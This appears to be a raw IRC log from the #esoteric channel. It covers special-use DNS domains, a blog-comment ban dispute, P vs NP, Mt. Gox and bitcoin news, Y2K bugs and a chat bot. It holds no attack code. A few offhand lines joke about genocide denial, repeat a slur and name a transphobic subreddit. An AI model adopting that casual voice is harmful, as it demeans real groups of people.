:Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, oh god that would have been terrible :P < 1394406255 191759 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :At least .local is codified in a standards-track RFC; .onion probably has no such protection. < 1394406269 154346 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Indeedf < 1394406273 212754 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Indeed* < 1394406324 666761 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That is why such "protected" registrations would be useful, in order to be registered as protected for only that reason and no others, to specify they are not used with normal global DNS. < 1394406334 680523 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :IANA has a registry for "reserved for special use" domains already; .ipv4 and such could go there. < 1394406347 680550 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: Yes, it should go in there. < 1394406383 787039 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It contains just .example, .invalid, .local, .localhost and .test. < 1394406401 370387 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :.arpa is pretty funny too < 1394406435 934539 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(And some non-TLDs: example.{com,net,org} and the special IP address ranges of {in-addr,ip6}.arpa.) < 1394406558 333040 :ion!ion@heh.fi PRIVMSG #esoteric :https://eval.in/108854 < 1394406568 795199 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Also .edu and .gov should go, they shouldn't be US-specific <-- i am not sure .edu actually is, the nvg computer club i'm in had one for a while (nuts.edu) < 1394406583 932007 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wonder how it's going for OpenNIC; at least .free of the new gTLDs conflicts with them. < 1394406617 740690 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :oerjan, huh < 1394406618 140967 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: It is, nowadays. < 1394406622 299155 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :OpenNIC's moribund, no? < 1394406630 791734 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Earlier, they had exceptions. < 1394406649 475253 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :How's about .mil? < 1394406673 218302 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Only U.S. postsecondary institutions that are institutionally accredited by an agency on the U.S. Department of Education's list of Nationally Recognized Accrediting Agencies (see recognized accrediting bodies) may obtain an Internet name in the .edu domain." (educause.edu) < 1394406728 918390 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Though they're letting existing exceptions live on. < 1394406732 460026 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"According to the Cooperative Agreement between EDUCAUSE and the U.S. Department of Commerce, all .edu names in existence as of October 29, 2001, are "grandfathered." This means that everyone who already had a .edu name by that date (October 29, 2001), regardless of current or past eligibility requirements, is allowed to keep those .edu names." < 1394406836 85419 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :night < 1394406842 952388 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1394406989 383842 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :OpenNIC website has no "news" section or anything else with dates on it, so it's hard to say how dead they are. < 1394407006 726429 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :78 users on freenode/#opennic, so they're... slightly smaller than #esoteric. < 1394407017 547679 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(According to the most objective metric.) < 1394407626 724168 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :update: scott aaronson declares luboš motl unmasked, then bans him http://www.scottaaronson.com/blog/?p=1720 < 1394407692 379240 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(now one character less on the blog. i guess sidles's ban should expire soon, though.) < 1394407742 764460 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(sidles is like the antithesis of luboš, yet manages to regularly get scott to ban him) < 1394407748 377107 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :why was sidle banned? :-\ < 1394407831 528415 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :iirc he ignored scott's claims he was speaking bullshit < 1394407838 758712 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(vaguely) < 1394407882 984808 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh, motl even stopped doing research? < 1394407931 196695 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if luboš motl can never admit anything positive, john sidles can never admit anything _negative_ is my impression. < 1394407992 341333 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :As a Platonist, < 1394408043 712410 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :calling someone a retard three sentences before calling someone out for needlessly offending is a rather amusing irony < 1394408052 624705 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :... you like to leave people hanging < 1394408106 816839 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that is correct. < 1394408131 558181 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :elliott: yeah :/ < 1394408151 156781 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :um which one of them said that < 1394408162 497106 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :aaronson, in the post you linked < 1394408169 330910 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: oh, sidles is that guy who comments on that other guy's blog. < 1394408170 897431 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1394408199 597314 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the P=NP guy. < 1394408201 572778 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :he called motl a "social retard", see < 1394408202 661941 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott: you mean gödel's letter? i'm not there any more but he used to be. < 1394408225 583207 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: did it jump the shark? < 1394408229 772405 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(and yes) < 1394408253 201878 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not really, but i got too damned annoyed by the comment system < 1394408282 550522 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the rss kept cutting off at 10-20 comments, no matter how much activity there was < 1394408378 718781 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :somehow it feels worse to have a comment overview that keeps losing comments than having no overview at all < 1394408390 400728 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what's it like wanting to read comments < 1394408451 922122 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: both that blog and aaronson's have a rather higher comment standard than you may be used to. < 1394408468 550311 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah, i know aaronson's does at least. it's still weird < 1394408471 499847 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :2 me < 1394408550 202408 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, you know what they say about /.: we read it for the comments. < 1394408550 499378 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Warrigal isn't here? < 1394408574 84551 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm what nick does he go by nowadays < 1394408575 890489 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :This explanation of why P probably != NP seems like approaching math from a scientific rather than mathematical angle < 1394408588 621032 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I know Warrigal commented on something like that once < 1394408628 365064 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :does that mean we're pouring calcium carbonate all over the graph isomorphism, or < 1394408651 756512 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: yes, it was meant to counter luboš's claim that there was no evidence for or against, even by scientific standards, or something like that < 1394408679 546543 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: in terms of hypotheses and sufficient evidence rather than rigid proofs < 1394408706 294372 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so that's a yes < 1394408881 442216 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"If there is no proof that means that there is no reason a-priori to prefer your arguments" lol < 1394408906 438867 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i should start a campaign of showing mathematicians how flimsy everything in science world is. blow your damn minds < 1394408975 391416 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :lubos is a physicist. < 1394409006 863525 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well the quote was from an astronomer, so there < 1394409067 500008 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :honestly i just think scientists are really bad at philosophy < 1394409098 214906 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I know that science is not perfect like mathematics is. But it is the best way we can < 1394409126 208229 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :as a platonist < 1394409214 753801 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Are you platonist? < 1394409242 929314 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no < 1394409285 303021 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Then, what are you? < 1394409292 881341 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ooh hey this post mentions Impagliazzo < 1394409330 939203 :nooodl!~nooodl@91.176.177.103 QUIT :Quit: Ik ga weg < 1394409333 678209 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i forget the term. psychologism-ist or suchlike < 1394409353 974642 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What does "psychologism-ist" mean? < 1394409395 605711 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Psychologism < 1394409425 11948 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wait. the shachaf is within me. https://en.wikipedia.org/wiki/Psychologism < 1394409480 154071 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :this post is pretty neat oerjan. < 1394409497 990967 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i stopped reading aaronson a while back but i guess i should start again < 1394409840 174173 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Sgeo: but yeah, you're right. this is basically a lengthy defense of induction http://en.wikipedia.org/wiki/Problem_of_induction < 1394409986 536735 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :hi Bike < 1394410003 833454 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hachaf < 1394410458 598605 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why do you like psychologism? < 1394410560 697101 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1394410571 436918 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :makes sense 2 me < 1394411299 393136 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394411930 241934 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394411963 266141 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394412112 654539 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION ponders a dependently-typed CL-style format < 1394412124 695205 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Certainly seems more fun than just boring old printf < 1394412217 290653 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394412230 19213 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: Can you describe it? < 1394412247 952948 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :CL-style format, or what it would mean for it to be typed? < 1394412258 895665 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Their combination. < 1394412343 135113 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394412369 115577 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :A more-flexible printf-like thing (that includes things like loops) that can be type-checked to be sure all arguments are the right type < 1394412414 585884 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394412591 910217 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394412592 805065 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394414033 615236 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Sgeo, i feel like combining loops and dependent types is something of a conceptual flinch < 1394414059 287834 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know sufficiently much about dependent types to say < 1394414085 146416 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :well just because loops are kind of 'imperative' and dependent typing is 'declarative' < 1394414105 419151 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Do folds count as looping? < 1394414113 672994 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :(i have put quotes around these words because otherwise kmc would probably complain) < 1394414122 460644 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :can I complain instead :/ < 1394414141 743142 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :no < 1394414157 313835 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i shall complain: use matched quote punctuation. this '' "" stuff is on the level of the armenian genocide < 1394414232 27315 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :ah so it didn't actually happen (i am a turkish dickhead now it seems) < 1394414243 789204 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :o:!!! < 1394414325 157473 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :meanwhile in /r/bitcoin: someone obtains dubious access to mt. gox's database, discovers that mt. gox database claims they still have all that money they lost! :o < 1394414353 514147 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394414368 692379 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :mods delete this because it is unethical and stupid. redditors valiantly jump to battle the conspiracy to suppress evidence of gox's daylight robbery < 1394414451 987696 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :comparisons are made to snowden < 1394414531 440866 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :"unethical" < 1394414609 754009 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can enjoy learning about the math behind Bitcoin without getting involved in controversy like this, I assume < 1394414623 463374 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :no < 1394414636 913717 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :there is only controversy < 1394414680 934343 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :sadly, reddit's popularity has been it's bane, and made it a censor-fest < 1394414733 22100 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :did you just describe reddit as a censor-fest with a straight face :D < 1394414734 147358 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :No longer possible to buy physical Bitcoins from Casascius :( < 1394414739 875803 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :it's been a downhill spiral ever since the jailbait scandal < 1394414754 431456 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :omg < 1394414787 83415 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :i take it you disagree? < 1394414788 427015 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :They're not even selling the empty physical bitcoins, which I actually wanted :( < 1394414806 343330 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Except some promo ones which are expensive < 1394414849 314271 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's just impressive to meet a real-life caricature < 1394414878 724668 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh http://www.theverge.com/2013/12/13/5207256/casascius-maker-of-shiny-physical-bitcoins-shut-down-by-treasury :( < 1394415067 564411 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394415867 478561 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1394415972 963237 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1394416037 615698 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1394416066 971371 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :not^v < 1394416099 917799 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1394416546 674717 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ACTION checks. r/beatingtrannies still up. yep < 1394417035 577654 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Remote host closed the connection < 1394417178 407035 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394417460 202518 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Read error: Connection reset by peer < 1394417522 288370 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394417657 853382 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394418195 894096 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:tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394426728 251902 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394427369 520070 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: interesting: http://altcoins.com/curecoin.html < 1394427458 922014 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :not clear how they adjust difficulty < 1394427646 431393 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.reddit.com/r/primecoin/comments/1rl107/anyone_know_anything_about_curecoin_next_altrucoin/ < 1394427670 911201 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :At 1AM, Quassel just told me the day changed < 1394427673 184283 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION mindboggles < 1394427846 797601 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If primes could save lives, I would totally play with primecoin < 1394427884 153491 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394427890 30355 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394428007 975405 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lol DST bugs < 1394428258 732195 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394429241 669994 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if there are still Y2k bugs in the wild < 1394429766 309972 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think some old programs may have Y2K bugs < 1394429927 920660 :JesseH2!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1394430073 199735 :JesseH!~JesseH@oftn/member/JesseH QUIT :Ping timeout: 240 seconds < 1394430964 311788 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :WordPerfect does. < 1394430992 406098 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :As well as one of the text editors used in the Synchronet BBS system. < 1394431379 202862 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1394431406 8689 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394431605 398366 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394431626 549744 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Specifically, SyncEdit. It is still in use today. < 1394431631 791402 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It has a Y2K bug. < 1394431766 890307 :atslash!~atslash@playisland.ru JOIN :#esoteric < 1394431786 481030 :lomoleg!~lomoleg@95.215.143.42 QUIT :Ping timeout: 264 seconds < 1394432174 954465 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394432989 233374 :intercross!~intercros@46.148.30.106 JOIN :#esoteric < 1394433216 608822 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :https://24.media.tumblr.com/8270de4e1d887772dcc90f6561cc5bdc/tumblr_mzygcngmgX1rjmj84o1_500.png related < 1394434001 337625 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394434084 779866 :ais523!~ais523@cpc6-king9-2-0-cust765.perr.cable.virginm.net JOIN :#esoteric < 1394434091 206073 :ais523!~ais523@cpc6-king9-2-0-cust765.perr.cable.virginm.net QUIT :Changing host < 1394434091 391102 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394434325 592452 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :<*STRLEN> XOR X,X MOV! Z,[Y++] PZF P AAB X,*1,:LOOP ; Do you like this? < 1394434450 400144 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 264 seconds < 1394435054 783365 :intercross!~intercros@46.148.30.106 QUIT :Remote host closed the connection < 1394435709 491688 :FreeFull!~freefull@defocus/sausage-lover QUIT : < 1394436604 867117 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394437472 821829 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :https://proofmarket.org/problem/viewa/39 < 1394437479 560683 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I assume the exploit is elsewhere? < 1394437486 956512 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And thus it would be silly to pay this? < 1394437544 928557 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's right there in red-bordered warning, dude. < 1394437560 363713 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394437564 775552 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :though I didn't know there was a false proof bug that recently < 1394437590 530239 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hmm, maybe it's an existing one if real, pl3 didn't seem to fix any proofs of false < 1394437619 349333 :Slereahphone!~slereahph@80.12.100.235 QUIT :Read error: Connection reset by peer < 1394437638 55327 :Slereahphone!~slereahph@80.12.100.235 JOIN :#esoteric < 1394437652 416570 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :also see https://proofmarket.org/ < 1394437709 668714 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :elliott: I know it's for an old version, and that it was mentioned on the home page. Just commenting on how the proof itself isn't visible on there due to nonpayment < 1394437719 815351 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :https://proofmarket.org/problem/view/11 dumb tricks < 1394437745 935680 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it would be silly to pay the price even if it were an actual proof of false in the current version < 1394437753 638478 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's not worth however much that is worth < 1394437753 952295 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 244 seconds < 1394437815 473826 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Seems like someone paid that one? < 1394437872 990191 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If they wrote the program that checks the proof, then they can pay for someone to find the bug in the program if it can be fixed, I suppose. < 1394437879 964914 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh, cheaper price < 1394437889 480344 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :also people do silly things sometimes < 1394437889 665847 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :0.01BTC isn't actually a lot of money, apparently < 1394437912 634499 :Slereahphone!~slereahph@80.12.100.235 QUIT :Remote host closed the connection < 1394437913 821624 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh, it's just 0.01? < 1394437916 944896 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :then pay if you want. < 1394437925 737534 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :elliott: the one that was paid for that you linked is 0.01 < 1394437928 365739 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if you're financially comfortable. < 1394437929 385473 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh. < 1394437938 132563 :Slereahphone!~slereahph@80.12.100.235 JOIN :#esoteric < 1394437956 268383 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The one I linked is 1 BTC (which I am not paying for) < 1394437997 939536 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :This site seriously need commas in its satoshi values < 1394438008 611920 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK then don't pay for that one < 1394438037 368035 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394438091 986409 :Slereahphone!~slereahph@80.12.100.235 QUIT :Remote host closed the connection < 1394438113 319317 :Slereahphone!~slereahph@80.12.100.235 JOIN :#esoteric < 1394440937 488613 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394441120 437692 :Slereahphone_!~slereahph@80.10.159.108 JOIN :#esoteric < 1394441138 322418 :Slereahphone!~slereahph@80.12.100.235 QUIT :Ping timeout: 240 seconds < 1394441138 834235 :Slereahphone_!~slereahph@80.10.159.108 NICK :Slereahphone < 1394443413 276614 :oklopol!~oklopol@86.50.75.83 QUIT :Quit: Leaving < 1394444096 306443 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394444438 872945 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1394444542 949396 :JesseH2!~JesseH@oftn/member/JesseH QUIT :Ping timeout: 244 seconds < 1394445712 107487 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394446411 264491 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394446511 618761 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION mumbles and curses against DST < 1394446613 35073 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@massages-loud < 1394446613 220066 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e said 2d 20h 14m 36s ago: even if it accepted colors, I wouldn't see them; my client filters colors. < 1394446613 405000 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :fizzie said 18h 46m 24s ago: ^style oots, just for you < 1394446646 301366 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: oh. oooooooh! :D < 1394446683 728444 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot: oots? < 1394446683 951878 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: a lot, too. i was." anyone else. i'm amazed at how little you value those of your own. < 1394446695 313575 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^style < 1394446695 498400 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots* pa qwantz sms speeches ss wp youtube < 1394446708 867488 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: you are a lucky bot :D < 1394446709 53940 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: we need to get the same, really, all the would-be kings and conquerors in the day, and the two of you, and i'll take that as a compliment! < 1394447863 265202 